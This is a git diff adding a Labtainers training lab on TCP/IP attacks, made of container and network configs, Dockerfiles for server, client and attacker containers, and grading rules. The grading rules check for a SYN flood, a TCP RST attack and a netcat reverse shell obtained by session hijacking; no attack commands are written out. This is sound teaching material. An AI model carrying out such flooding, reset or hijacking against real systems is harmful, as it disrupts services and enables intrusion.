+TCP/IP protocol vulnerabilities, including SYN flooding, RST attacks and session hijacking diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/config/start.config new file mode 100644 index 000000000..da55c5614 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/config/start.config @@ -0,0 +1,125 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER client + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED server_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK SOME_LAN + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER server + # user name of user who interacts with the container. + USER ubuntu + # cause ~/instructions.txt to display, if it exists + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + SOME_LAN 172.25.0.2 + # + # Script name passed to the Docker start command. This defaults to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + +CONTAINER client + # user name of user who interacts with the container. + USER ubuntu + SOME_LAN 172.25.0.3:12:34:56:b0:b1:b3 + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals clients to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + # + # Script name passed to the Docker start command. This clients to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + +CONTAINER attacker + # user name of user who interacts with the container. + USER ubuntu + SOME_LAN 172.25.0.4:12:34:56:b0:b1:b4 + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals attackers to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + # + # Script name passed to the Docker start command. This attackers to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + # X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/dockerfiles/Dockerfile.tcpip.attacker.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/dockerfiles/Dockerfile.tcpip.attacker.student new file mode 100644 index 000000000..659520c2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/dockerfiles/Dockerfile.tcpip.attacker.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/dockerfiles/Dockerfile.tcpip.client.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/dockerfiles/Dockerfile.tcpip.client.student new file mode 100644 index 000000000..6f5c84631 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/dockerfiles/Dockerfile.tcpip.client.student @@ -0,0 +1,64 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.firefox +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends telnet ftp +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/dockerfiles/Dockerfile.tcpip.server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/dockerfiles/Dockerfile.tcpip.server.student new file mode 100644 index 000000000..ba9e8a603 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/dockerfiles/Dockerfile.tcpip.server.student @@ -0,0 +1,68 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.wireshark +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends telnetd vsftpd +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# + +RUN chmod a+x /usr/bin/dumpcap + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +RUN adduser $user_name wireshark + +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/docs/Makefile new file mode 100644 index 000000000..637f27e43 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/docs/Makefile @@ -0,0 +1,6 @@ +tcpip.pdf: tcpip.docx + soffice --convert-to pdf tcpip.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/docs/read_first.txt new file mode 100644 index 000000000..11be6ad0e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/docs/read_first.txt @@ -0,0 +1,8 @@ +The lab manual is at + file://LAB_DOCS/tcpip.pdf +A lab report template is at: + file://LAB_DOCS/tcpip-report.docx + +You may open these by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/docs/tcpip-report.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/docs/tcpip-report.docx new file mode 100644 index 000000000..e02abfc9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/docs/tcpip-report.docx @@ -0,0 +1 @@ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/docs/tcpip.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/docs/tcpip.docx new file mode 100755 index 000000000..e0ecc199f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/docs/tcpip.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/instr_config/goals.config new file mode 100644 index 000000000..a61ae9300 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/instr_config/goals.config @@ -0,0 +1,12 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +# GROUP: Counts to reflect student attempts +sysctl_count = value : sysctl +nping_count = value : nping +# DOC: More than three syn_recv states on the server during syn flood attack +syn_flood = count : integer_greater : syn_recv : answer=3 +# RST attack occurred, see results.config did_rst +# file dumped during nc session hijack. see results.config reverse_shell +# note: no goal for simple session hijack, assume if they +# managed to do the reverse shell, they could do the simple command. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/instr_config/pregrade.sh new file mode 100755 index 000000000..2d6b93ed2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/instr_config/pregrade.sh @@ -0,0 +1,40 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +echo $is_sqlite +here=`pwd` +places=$here/.mozilla/firefox/*default/places.sqlite +for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi +done + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/instr_config/results.config new file mode 100644 index 000000000..041d3511f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/instr_config/results.config @@ -0,0 +1,8 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +sysctl = server:.bash_history : STRING_COUNT : sysctl +nping = attacker:.bash_history : STRING_COUNT : nping +syn_recv = server:netstat.stdout : STRING_COUNT : SYN_RECV +did_rst = client:telnet.stdout : CONTAINS : Connection closed by foreign host +reverse_shell = attacker:nc.stdout : CONTAINS : Dump this file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_bin/hostSystemCheck.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_bin/hostSystemCheck.py new file mode 100755 index 000000000..3b393ef0d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_bin/hostSystemCheck.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python + +import lsb_release +import subprocess +import sys + +required_ubuntu_version = "16.04.2" + +def isSortVsupported(): + command = 'echo -e "1.1.1\n1.1.2" | sort -V' + ps = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1]) > 0: + return 0 + else: + return 1 + +def sortVstrings(string1, string2): + command = 'echo "%s\\n%s" | sort -V | head -n 1' % (string1, string2) + #print "command is (%s)" % command + ps = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = ps.communicate() + answer = output[0].split() + return answer + +def version_lessthanequal(string1, string2): + sorted_string = sortVstrings(string1, string2) + #print "string1 is (%s) sorted_string is (%s)" % (string1, sorted_string[0]) + if (string1 == sorted_string[0]): + return True + else: + return False + +def version_lessthan(string1, string2): + if (string1 == string2): + return True + else: + return version_lessthanequal(string1, string2) + +def CheckUbuntuVersion(): + #print "1.1.1 less than 1.1.1 is %s" % version_lessthan("1.1.1", "1.1.1") + #print "1.1.2 less than 1.1.1 is %s" % version_lessthan("1.1.2", "1.1.1") + #print "1.1.1 less than 1.1.2 is %s" % version_lessthan("1.1.1", "1.1.2") + #print "1.2.1 less than 1.1.2 is %s" % version_lessthan("1.2.1", "1.1.2") + + lsb_info = lsb_release.get_lsb_information() + lsb_info_id = lsb_info['ID'] + if (lsb_info_id == "Ubuntu"): + no_sort = False + if not isSortVsupported(): + no_sort = True + + ubuntu_description = lsb_info['DESCRIPTION'] + ubuntu_desc = ubuntu_description.split() + ubuntu_version = ubuntu_desc[1] + + if no_sort or (ubuntu_version != required_ubuntu_version and version_lessthan(ubuntu_version, required_ubuntu_version)): + print('Your Ubuntu version (%s) is older than %s, which is required in order to experiment with the\n') + print('"sysctl" setting for syn_cookies". This will not interfere with your ability to complete the lab.') + return 1 + return 0 + +def main(): + check_ubuntu_version = CheckUbuntuVersion() + return check_ubuntu_version + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_bin/treataslocal new file mode 100644 index 000000000..80c18de40 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_bin/treataslocal @@ -0,0 +1,2 @@ +netstat +sysctl diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_system/etc/services b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_system/etc/services new file mode 100644 index 000000000..704cd1200 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_system/etc/services @@ -0,0 +1,612 @@ +# Network services, Internet style +# +# Note that it is presently the policy of IANA to assign a single well-known +# port number for both TCP and UDP; hence, officially ports have two entries +# even if the protocol doesn't support UDP operations. +# +# Updated from http://www.iana.org/assignments/port-numbers and other +# sources like http://www.freebsd.org/cgi/cvsweb.cgi/src/etc/services . +# New ports will be added on request if they have been officially assigned +# by IANA and used in the real-world or are needed by a debian package. +# If you need a huge list of used numbers please install the nmap package. + +tcpmux 1/tcp # TCP port service multiplexer +echo 7/tcp +echo 7/udp +discard 9/tcp sink null +discard 9/udp sink null +systat 11/tcp users +daytime 13/tcp +daytime 13/udp +netstat 15/tcp +qotd 17/tcp quote +msp 18/tcp # message send protocol +msp 18/udp +chargen 19/tcp ttytst source +chargen 19/udp ttytst source +ftp-data 20/tcp +ftp 21/tcp +fsp 21/udp fspd +ssh 22/tcp # SSH Remote Login Protocol +ssh 22/udp +telnet 23/tcp +smtp 25/tcp mail +time 37/tcp timserver +time 37/udp timserver +rlp 39/udp resource # resource location +nameserver 42/tcp name # IEN 116 +whois 43/tcp nicname +tacacs 49/tcp # Login Host Protocol (TACACS) +tacacs 49/udp +re-mail-ck 50/tcp # Remote Mail Checking Protocol +re-mail-ck 50/udp +domain 53/tcp # Domain Name Server +domain 53/udp +mtp 57/tcp # deprecated +tacacs-ds 65/tcp # TACACS-Database Service +tacacs-ds 65/udp +bootps 67/tcp # BOOTP server +bootps 67/udp +bootpc 68/tcp # BOOTP client +bootpc 68/udp +tftp 69/udp +gopher 70/tcp # Internet Gopher +gopher 70/udp +rje 77/tcp netrjs +finger 79/tcp +http 80/tcp www # WorldWideWeb HTTP +http 80/udp # HyperText Transfer Protocol +link 87/tcp ttylink +kerberos 88/tcp kerberos5 krb5 kerberos-sec # Kerberos v5 +kerberos 88/udp kerberos5 krb5 kerberos-sec # Kerberos v5 +supdup 95/tcp +hostnames 101/tcp hostname # usually from sri-nic +iso-tsap 102/tcp tsap # part of ISODE +acr-nema 104/tcp dicom # Digital Imag. & Comm. 300 +acr-nema 104/udp dicom +csnet-ns 105/tcp cso-ns # also used by CSO name server +csnet-ns 105/udp cso-ns +rtelnet 107/tcp # Remote Telnet +rtelnet 107/udp +pop2 109/tcp postoffice pop-2 # POP version 2 +pop2 109/udp pop-2 +pop3 110/tcp pop-3 # POP version 3 +pop3 110/udp pop-3 +sunrpc 111/tcp portmapper # RPC 4.0 portmapper +sunrpc 111/udp portmapper +auth 113/tcp authentication tap ident +sftp 115/tcp +uucp-path 117/tcp +nntp 119/tcp readnews untp # USENET News Transfer Protocol +ntp 123/tcp +ntp 123/udp # Network Time Protocol +pwdgen 129/tcp # PWDGEN service +pwdgen 129/udp +loc-srv 135/tcp epmap # Location Service +loc-srv 135/udp epmap +netbios-ns 137/tcp # NETBIOS Name Service +netbios-ns 137/udp +netbios-dgm 138/tcp # NETBIOS Datagram Service +netbios-dgm 138/udp +netbios-ssn 139/tcp # NETBIOS session service +netbios-ssn 139/udp +imap2 143/tcp imap # Interim Mail Access P 2 and 4 +imap2 143/udp imap +snmp 161/tcp # Simple Net Mgmt Protocol +snmp 161/udp +snmp-trap 162/tcp snmptrap # Traps for SNMP +snmp-trap 162/udp snmptrap +cmip-man 163/tcp # ISO mgmt over IP (CMOT) +cmip-man 163/udp +cmip-agent 164/tcp +cmip-agent 164/udp +mailq 174/tcp # Mailer transport queue for Zmailer +mailq 174/udp +xdmcp 177/tcp # X Display Mgr. Control Proto +xdmcp 177/udp +nextstep 178/tcp NeXTStep NextStep # NeXTStep window +nextstep 178/udp NeXTStep NextStep # server +bgp 179/tcp # Border Gateway Protocol +bgp 179/udp +prospero 191/tcp # Cliff Neuman's Prospero +prospero 191/udp +irc 194/tcp # Internet Relay Chat +irc 194/udp +smux 199/tcp # SNMP Unix Multiplexer +smux 199/udp +at-rtmp 201/tcp # AppleTalk routing +at-rtmp 201/udp +at-nbp 202/tcp # AppleTalk name binding +at-nbp 202/udp +at-echo 204/tcp # AppleTalk echo +at-echo 204/udp +at-zis 206/tcp # AppleTalk zone information +at-zis 206/udp +qmtp 209/tcp # Quick Mail Transfer Protocol +qmtp 209/udp +z3950 210/tcp wais # NISO Z39.50 database +z3950 210/udp wais +ipx 213/tcp # IPX +ipx 213/udp +imap3 220/tcp # Interactive Mail Access +imap3 220/udp # Protocol v3 +pawserv 345/tcp # Perf Analysis Workbench +pawserv 345/udp +zserv 346/tcp # Zebra server +zserv 346/udp +fatserv 347/tcp # Fatmen Server +fatserv 347/udp +rpc2portmap 369/tcp +rpc2portmap 369/udp # Coda portmapper +codaauth2 370/tcp +codaauth2 370/udp # Coda authentication server +clearcase 371/tcp Clearcase +clearcase 371/udp Clearcase +ulistserv 372/tcp # UNIX Listserv +ulistserv 372/udp +ldap 389/tcp # Lightweight Directory Access Protocol +ldap 389/udp +imsp 406/tcp # Interactive Mail Support Protocol +imsp 406/udp +svrloc 427/tcp # Server Location +svrloc 427/udp +https 443/tcp # http protocol over TLS/SSL +https 443/udp +snpp 444/tcp # Simple Network Paging Protocol +snpp 444/udp +microsoft-ds 445/tcp # Microsoft Naked CIFS +microsoft-ds 445/udp +kpasswd 464/tcp +kpasswd 464/udp +urd 465/tcp ssmtp smtps # URL Rendesvous Directory for SSM +saft 487/tcp # Simple Asynchronous File Transfer +saft 487/udp +isakmp 500/tcp # IPsec - Internet Security Association +isakmp 500/udp # and Key Management Protocol +rtsp 554/tcp # Real Time Stream Control Protocol +rtsp 554/udp +nqs 607/tcp # Network Queuing system +nqs 607/udp +npmp-local 610/tcp dqs313_qmaster # npmp-local / DQS +npmp-local 610/udp dqs313_qmaster +npmp-gui 611/tcp dqs313_execd # npmp-gui / DQS +npmp-gui 611/udp dqs313_execd +hmmp-ind 612/tcp dqs313_intercell # HMMP Indication / DQS +hmmp-ind 612/udp dqs313_intercell +asf-rmcp 623/udp # ASF Remote Management and Control Protocol +qmqp 628/tcp +qmqp 628/udp +ipp 631/tcp # Internet Printing Protocol +ipp 631/udp +# +# UNIX specific services +# +exec 512/tcp +biff 512/udp comsat +login 513/tcp +who 513/udp whod +shell 514/tcp cmd # no passwords used +syslog 514/udp +printer 515/tcp spooler # line printer spooler +talk 517/udp +ntalk 518/udp +route 520/udp router routed # RIP +timed 525/udp timeserver +tempo 526/tcp newdate +courier 530/tcp rpc +conference 531/tcp chat +netnews 532/tcp readnews +netwall 533/udp # for emergency broadcasts +gdomap 538/tcp # GNUstep distributed objects +gdomap 538/udp +uucp 540/tcp uucpd # uucp daemon +klogin 543/tcp # Kerberized `rlogin' (v5) +kshell 544/tcp krcmd # Kerberized `rsh' (v5) +dhcpv6-client 546/tcp +dhcpv6-client 546/udp +dhcpv6-server 547/tcp +dhcpv6-server 547/udp +afpovertcp 548/tcp # AFP over TCP +afpovertcp 548/udp +idfp 549/tcp +idfp 549/udp +remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem +nntps 563/tcp snntp # NNTP over SSL +nntps 563/udp snntp +submission 587/tcp # Submission [RFC4409] +submission 587/udp +ldaps 636/tcp # LDAP over SSL +ldaps 636/udp +tinc 655/tcp # tinc control port +tinc 655/udp +silc 706/tcp +silc 706/udp +kerberos-adm 749/tcp # Kerberos `kadmin' (v5) +# +webster 765/tcp # Network dictionary +webster 765/udp +rsync 873/tcp +rsync 873/udp +ftps-data 989/tcp # FTP over SSL (data) +ftps 990/tcp +telnets 992/tcp # Telnet over SSL +telnets 992/udp +imaps 993/tcp # IMAP over SSL +imaps 993/udp +ircs 994/tcp # IRC over SSL +ircs 994/udp +pop3s 995/tcp # POP-3 over SSL +pop3s 995/udp +# +# From ``Assigned Numbers'': +# +#> The Registered Ports are not controlled by the IANA and on most systems +#> can be used by ordinary user processes or programs executed by ordinary +#> users. +# +#> Ports are used in the TCP [45,106] to name the ends of logical +#> connections which carry long term conversations. For the purpose of +#> providing services to unknown callers, a service contact port is +#> defined. This list specifies the port used by the server process as its +#> contact port. While the IANA can not control uses of these ports it +#> does register or list uses of these ports as a convienence to the +#> community. +# +socks 1080/tcp # socks proxy server +socks 1080/udp +proofd 1093/tcp +proofd 1093/udp +rootd 1094/tcp +rootd 1094/udp +openvpn 1194/tcp +openvpn 1194/udp +rmiregistry 1099/tcp # Java RMI Registry +rmiregistry 1099/udp +kazaa 1214/tcp +kazaa 1214/udp +nessus 1241/tcp # Nessus vulnerability +nessus 1241/udp # assessment scanner +lotusnote 1352/tcp lotusnotes # Lotus Note +lotusnote 1352/udp lotusnotes +ms-sql-s 1433/tcp # Microsoft SQL Server +ms-sql-s 1433/udp +ms-sql-m 1434/tcp # Microsoft SQL Monitor +ms-sql-m 1434/udp +ingreslock 1524/tcp +ingreslock 1524/udp +prospero-np 1525/tcp # Prospero non-privileged +prospero-np 1525/udp +datametrics 1645/tcp old-radius +datametrics 1645/udp old-radius +sa-msg-port 1646/tcp old-radacct +sa-msg-port 1646/udp old-radacct +kermit 1649/tcp +kermit 1649/udp +groupwise 1677/tcp +groupwise 1677/udp +l2f 1701/tcp l2tp +l2f 1701/udp l2tp +radius 1812/tcp +radius 1812/udp +radius-acct 1813/tcp radacct # Radius Accounting +radius-acct 1813/udp radacct +msnp 1863/tcp # MSN Messenger +msnp 1863/udp +unix-status 1957/tcp # remstats unix-status server +log-server 1958/tcp # remstats log server +remoteping 1959/tcp # remstats remoteping server +cisco-sccp 2000/tcp # Cisco SCCP +cisco-sccp 2000/udp +search 2010/tcp ndtp +pipe-server 2010/tcp pipe_server +nfs 2049/tcp # Network File System +nfs 2049/udp # Network File System +gnunet 2086/tcp +gnunet 2086/udp +rtcm-sc104 2101/tcp # RTCM SC-104 IANA 1/29/99 +rtcm-sc104 2101/udp +gsigatekeeper 2119/tcp +gsigatekeeper 2119/udp +gris 2135/tcp # Grid Resource Information Server +gris 2135/udp +cvspserver 2401/tcp # CVS client/server operations +cvspserver 2401/udp +venus 2430/tcp # codacon port +venus 2430/udp # Venus callback/wbc interface +venus-se 2431/tcp # tcp side effects +venus-se 2431/udp # udp sftp side effect +codasrv 2432/tcp # not used +codasrv 2432/udp # server port +codasrv-se 2433/tcp # tcp side effects +codasrv-se 2433/udp # udp sftp side effect +mon 2583/tcp # MON traps +mon 2583/udp +dict 2628/tcp # Dictionary server +dict 2628/udp +f5-globalsite 2792/tcp +f5-globalsite 2792/udp +gsiftp 2811/tcp +gsiftp 2811/udp +gpsd 2947/tcp +gpsd 2947/udp +gds-db 3050/tcp gds_db # InterBase server +gds-db 3050/udp gds_db +icpv2 3130/tcp icp # Internet Cache Protocol +icpv2 3130/udp icp +iscsi-target 3260/tcp +mysql 3306/tcp +mysql 3306/udp +nut 3493/tcp # Network UPS Tools +nut 3493/udp +distcc 3632/tcp # distributed compiler +distcc 3632/udp +daap 3689/tcp # Digital Audio Access Protocol +daap 3689/udp +svn 